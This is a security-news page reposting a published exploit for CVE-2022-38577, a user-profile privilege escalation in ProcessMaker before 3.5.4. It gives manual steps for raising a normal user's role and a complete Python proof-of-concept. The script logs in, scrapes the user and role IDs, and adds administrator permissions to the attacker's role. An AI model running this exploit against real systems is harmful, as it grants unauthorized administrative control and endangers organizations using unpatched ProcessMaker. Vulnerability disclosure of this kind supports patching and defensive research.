Security
Headlines
HeadlinesLatestCVEs

Headline

ProcessMaker Privilege Escalation

ProcessMaker versions prior to 3.5.4 were discovered to be susceptible to a remote privilege escalation vulnerability.

Packet Storm
#vulnerability#web#windows#debian#js#php#auth#ssl
# Exploit Title: ProcessMaker - User Profile Privilege Escalation# Description: ProcessMaker before v3.5.4 was discovered to contain insecure permissions in the user profile page. This vulnerability allows attackers to escalate normal users to Administrators. # Date: 20220822# Exploit Author: Sornram Kampeera (Sornram9254)# Vendor Homepage: https://www.processmaker.com# Software Link: https://sourceforge.net/projects/processmaker/files/ProcessMaker/# Version: ProcessMaker before v3.5.4 (Already Tested on 2.5.0, 2.5.2, 3.0 GA and 3.2.1)# Tested on: Windows 11, Debian 11 (WSL2)# CVE : CVE-2022-38577"""Privilege Escalation replication.for 2.5.0 - 3.0 GA:    1. Log in as normal user.    2. Change "USR_ROLE" on post request form when updating profile information to "PROCESSMAKER_ADMIN".    3. Refresh page to get new role.for 3.2.1 and before:    1. Log in as normal user.    2. Get Role ID by request "/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc={epoch_time}"    3. Get Permission ID by request "/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID={Role_ID}&type=show"    4. Update role to escalation privileges using POST Body request:    POST /sysworkflow/en/neoclassic/roles/roles_Ajax    request=assignPermissionToRoleMultiple&ROL_UID={Role_ID}&PER_UID={PERMISSION_ID}"""#!/usr/bin/python# TODO: Optimize code [requests module], and Exception Handling.# Replace the variables USERNAME, PASSWORD, and APP_URL.import requests, json, re, argparse, sysUSER_AGENT = 'Mozilla/5.0'APP_URL = "http://localhost:9994"USERNAME = '__USER__'PASSWORD = '__PASS__'parser = argparse.ArgumentParser()parser.add_argument("action", type=str, help="Add or Delete role permission.", nargs="?", default=".")parser.add_argument("-a", "--add",      action="store_true",    help="Add role permission")parser.add_argument("-d", "--delete",   action="store_true",    help="Delete role permission")parser.add_argument("-l", "--list",     action="store_true",    help="List all roles")args = parser.parse_args()if args.add:    action = "assign"elif args.delete:    action = "delete"elif args.list:    action = "list"    print("All Permission UID")    print("View more: https://wiki.processmaker.com/3.3/Roles")    PERM_LIST = """PER_UID: 00000000000000000000000000000001, PER_CODE: PM_LOGINPER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUPPER_UID: 00000000000000000000000000000003, PER_CODE: PM_USERSPER_UID: 00000000000000000000000000000004, PER_CODE: PM_FACTORYPER_UID: 00000000000000000000000000000005, PER_CODE: PM_CASESPER_UID: 00000000000000000000000000000006, PER_CODE: PM_ALLCASESPER_UID: 00000000000000000000000000000007, PER_CODE: PM_REASSIGNCASEPER_UID: 00000000000000000000000000000008, PER_CODE: PM_REPORTSPER_UID: 00000000000000000000000000000009, PER_CODE: PM_SUPERVISORPER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCEPER_UID: 00000000000000000000000000000011, PER_CODE: PM_DASHBOARDPER_UID: 00000000000000000000000000000012, PER_CODE: PM_WEBDAVPER_UID: 00000000000000000000000000000013, PER_CODE: PM_DELETECASEPER_UID: 00000000000000000000000000000014, PER_CODE: PM_EDITPERSONALINFOPER_UID: 00000000000000000000000000000015, PER_CODE: PM_FOLDERS_VIEWPER_UID: 00000000000000000000000000000016, PER_CODE: PM_FOLDERS_ADD_FOLDERPER_UID: 00000000000000000000000000000017, PER_CODE: PM_FOLDERS_ADD_FILEPER_UID: 00000000000000000000000000000018, PER_CODE: PM_CANCELCASEPER_UID: 00000000000000000000000000000019, PER_CODE: PM_FOLDER_DELETEPER_UID: 00000000000000000000000000000020, PER_CODE: PM_SETUP_LOGOPER_UID: 00000000000000000000000000000021, PER_CODE: PM_SETUP_EMAILPER_UID: 00000000000000000000000000000022, PER_CODE: PM_SETUP_CALENDARPER_UID: 00000000000000000000000000000023, PER_CODE: PM_SETUP_PROCESS_CATEGORIESPER_UID: 00000000000000000000000000000024, PER_CODE: PM_SETUP_CLEAR_CACHEPER_UID: 00000000000000000000000000000025, PER_CODE: PM_SETUP_HEART_BEATPER_UID: 00000000000000000000000000000026, PER_CODE: PM_SETUP_ENVIRONMENTPER_UID: 00000000000000000000000000000027, PER_CODE: PM_SETUP_PM_TABLESPER_UID: 00000000000000000000000000000028, PER_CODE: PM_SETUP_LOGINPER_UID: 00000000000000000000000000000029, PER_CODE: PM_SETUP_DASHBOARDSPER_UID: 00000000000000000000000000000030, PER_CODE: PM_SETUP_LANGUAGEPER_UID: 00000000000000000000000000000031, PER_CODE: PM_SETUP_SKINPER_UID: 00000000000000000000000000000032, PER_CODE: PM_SETUP_CASES_LIST_CACHE_BUILDERPER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINSPER_UID: 00000000000000000000000000000034, PER_CODE: PM_SETUP_USERS_AUTHENTICATION_SOURCESPER_UID: 00000000000000000000000000000035, PER_CODE: PM_SETUP_LOGSPER_UID: 00000000000000000000000000000036, PER_CODE: PM_DELETE_PROCESS_CASESPER_UID: 00000000000000000000000000000037, PER_CODE: PM_EDITPERSONALINFO_CALENDARPER_UID: 00000000000000000000000000000038, PER_CODE: PM_UNCANCELCASEPER_UID: 00000000000000000000000000000039, PER_CODE: PM_REST_API_APPLICATIONSPER_UID: 00000000000000000000000000000040, PER_CODE: PM_EDIT_USER_PROFILE_FIRST_NAMEPER_UID: 00000000000000000000000000000041, PER_CODE: PM_EDIT_USER_PROFILE_LAST_NAMEPER_UID: 00000000000000000000000000000042, PER_CODE: PM_EDIT_USER_PROFILE_USERNAMEPER_UID: 00000000000000000000000000000043, PER_CODE: PM_EDIT_USER_PROFILE_EMAILPER_UID: 00000000000000000000000000000044, PER_CODE: PM_EDIT_USER_PROFILE_ADDRESSPER_UID: 00000000000000000000000000000045, PER_CODE: PM_EDIT_USER_PROFILE_ZIP_CODEPER_UID: 00000000000000000000000000000046, PER_CODE: PM_EDIT_USER_PROFILE_COUNTRYPER_UID: 00000000000000000000000000000047, PER_CODE: PM_EDIT_USER_PROFILE_STATE_OR_REGIONPER_UID: 00000000000000000000000000000048, PER_CODE: PM_EDIT_USER_PROFILE_LOCATIONPER_UID: 00000000000000000000000000000049, PER_CODE: PM_EDIT_USER_PROFILE_PHONEPER_UID: 00000000000000000000000000000050, PER_CODE: PM_EDIT_USER_PROFILE_POSITIONPER_UID: 00000000000000000000000000000051, PER_CODE: PM_EDIT_USER_PROFILE_REPLACED_BYPER_UID: 00000000000000000000000000000052, PER_CODE: PM_EDIT_USER_PROFILE_EXPIRATION_DATEPER_UID: 00000000000000000000000000000053, PER_CODE: PM_EDIT_USER_PROFILE_CALENDARPER_UID: 00000000000000000000000000000054, PER_CODE: PM_EDIT_USER_PROFILE_STATUSPER_UID: 00000000000000000000000000000055, PER_CODE: PM_EDIT_USER_PROFILE_ROLEPER_UID: 00000000000000000000000000000056, PER_CODE: PM_EDIT_USER_PROFILE_TIME_ZONEPER_UID: 00000000000000000000000000000057, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_LANGUAGEPER_UID: 00000000000000000000000000000058, PER_CODE: PM_EDIT_USER_PROFILE_COSTSPER_UID: 00000000000000000000000000000059, PER_CODE: PM_EDIT_USER_PROFILE_PASSWORDPER_UID: 00000000000000000000000000000060, PER_CODE: PM_EDIT_USER_PROFILE_USER_MUST_CHANGE_PASSWORD_AT_NEXT_LOGONPER_UID: 00000000000000000000000000000061, PER_CODE: PM_EDIT_USER_PROFILE_PHOTOPER_UID: 00000000000000000000000000000062, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_MAIN_MENU_OPTIONSPER_UID: 00000000000000000000000000000063, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_CASES_MENU_OPTIONSPER_UID: 00000000000000000000000000000064, PER_CODE: PM_REASSIGNCASE_SUPERVISOR"""    print(PERM_LIST)    sys.exit()else:    print("Example Permission UID")    SAMPLE_PERM_LIST = """>>> PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP>>> PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE>>> PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINSpython Processmaker-PoC.py --helppython Processmaker-PoC.py --listpython Processmaker-PoC.py --add 00000000000000000000000000000002python Processmaker-PoC.py --delete 00000000000000000000000000000002"""    print(SAMPLE_PERM_LIST)    sys.exit()PERMISSION_UID = args.actionloginData = "__notValidateThisFields__=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&"loginData += "DynaformRequiredFields=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&"loginData += "__DynaformName__=sysLogin&"loginData += "form[BROWSER_TIME_ZONE_OFFSET]=25200&"loginData += "form[USR_PASSWORD]=" + PASSWORD + "&"loginData += "form[USR_USERNAME]=" + USERNAME + "&"loginData += "form[USR_PASSWORD_MASK]=&"loginData += "form[USER_ENV]=workflow&"loginData += "form[USER_LANG]=en"def getResponse(rMethod, rHeaders, rUrl,rData=None):    SSL_VERIFY = False    if rMethod == 'GET':        response = requests.get(rUrl, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True)    elif rMethod == "POST":        response = requests.post(rUrl, data=rData, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True)    else:        print("Please choose correct answer")    return responsegetCookie = getResponse('POST',                        {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': USER_AGENT, 'Connection': 'close'},                        APP_URL + '/sys/en/neoclassic/login/sysLogin',                        loginData).cookies['PHPSESSID']if getCookie is not None:    getUserID = getResponse( 'GET',                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},                                APP_URL + '/sysworkflow/en/neoclassic/users/usersInit')    USER_ID = re.findall(r"USR_UID\s=\s\"(\w{32})\"", getUserID.text, re.MULTILINE)[0]    getRolesName = getResponse('POST',                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie,'Content-Type' : 'application/x-www-form-urlencoded', 'Connection': 'close'},                                APP_URL + '/sysworkflow/en/neoclassic/users/usersAjax',                                'action=userData&USR_UID=' + USER_ID)                                    getRolesList = getResponse( 'GET',                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},                                APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc=')    getRolesPermission = getResponse('POST',                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},                                APP_URL + '/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID=ROLE_UID&type=show')    roleUID = re.findall(r"\"ROL_UID\":\"(\w{32})\",\"ROL_PARENT\":\"\",\"ROL_SYSTEM\":\"\w{32}\",\"SYS_CODE\":\"PROCESSMAKER\",\"ROL_CODE\":\"" + json.loads(getRolesName.text)['user']['USR_ROLE'] + "\"", getRolesList.text, re.MULTILINE)[0]def actionRoleResponse():    actionRoleStatus = getResponse('POST',                                {'User-Agent': USER_AGENT,'Content-Type': 'application/x-www-form-urlencoded','Cookie': 'PHPSESSID=' + getCookie,'Connection': 'close'},                                APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax',                                'request=' + action + 'PermissionToRoleMultiple&ROL_UID=' + roleUID + '&PER_UID=' + PERMISSION_UID)    return actionRoleStatus.status_codeif actionRoleResponse() == 200:    print(action.capitalize() + " role successfully.")elif actionRoleResponse() == 503:    print("Role already exists.")else:    print("Error!")

Related news

CVE-2022-38577: ProcessMaker | Business Process Automation Software | Low-Code BPA

ProcessMaker before v3.5.4 was discovered to contain insecure permissions in the user profile page. This vulnerability allows attackers to escalate normal users to Administrators.

Packet Storm: Latest News

WordPress Really Simple Security Authentication Bypass